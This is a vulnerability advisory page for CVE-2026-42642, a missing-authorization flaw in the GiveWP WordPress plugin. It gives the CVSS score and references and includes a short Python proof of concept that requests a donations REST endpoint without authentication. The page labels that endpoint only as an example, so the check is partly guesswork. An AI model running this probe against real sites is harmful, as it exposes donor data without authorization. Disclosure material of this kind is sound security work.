CVE-2026-42642

Description

Missing Authorization vulnerability in StellarWP GiveWP give allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects GiveWP: from n/a through <= 4.14.5.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

StellarWP GiveWP <= 4.14.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_cve_2026_42642(target_url):
    # Exploit: Access restricted endpoint without authentication
    # The vulnerability allows unauthorized access to sensitive data.
    endpoint = "/wp-json/give/v2/donations" # Example sensitive endpoint
    full_url = target_url + endpoint

    try:
        # Send GET request without cookies or auth headers
        response = requests.get(full_url, timeout=10)

        if response.status_code == 200:
            print(f"[+] Vulnerability Confirmed! Data accessible at: {full_url}")
            print("[+] Response snippet:", response.text[:100])
        else:
            print(f"[-] Target not vulnerable. Status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error occurred: {e}")

# Example usage
# check_cve_2026_42642("http://victim.com")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42642
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42642
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42642/
[4] VulDB https://vuldb.com/cve/CVE-2026-42642
[5] https://patchstack.com/database/Wordpress/Plugin/give/vulnerability/wordpress-givewp-plugin-4-14-5-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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